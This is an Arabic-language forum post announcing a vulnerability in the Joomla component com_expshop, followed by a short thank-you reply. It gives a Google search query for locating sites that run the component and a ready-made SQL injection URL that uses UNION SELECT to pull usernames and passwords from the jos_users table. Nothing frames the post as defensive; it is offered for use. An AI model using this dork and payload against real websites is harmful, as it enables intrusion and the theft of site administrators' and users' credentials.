ثغرة في سكربت Joomla Component expshop

السلام عليكم
ثغرة في سكربت Joomla Component expshop

كود البحث في جوجل على الموقع المصاب

inurl:com_expshop


الاستغلال

index.php?option=com_expshop&page=show_payment&cat id=-2 UNION SELECT @@version,@@version,concat(username,0x3a,password) FROM jos_users--


_________________

شكرا جزيلا على هاد الموضوع الحل

واتمنى التقدم والنجاح لهذا المنتدى الرائع

تحياتي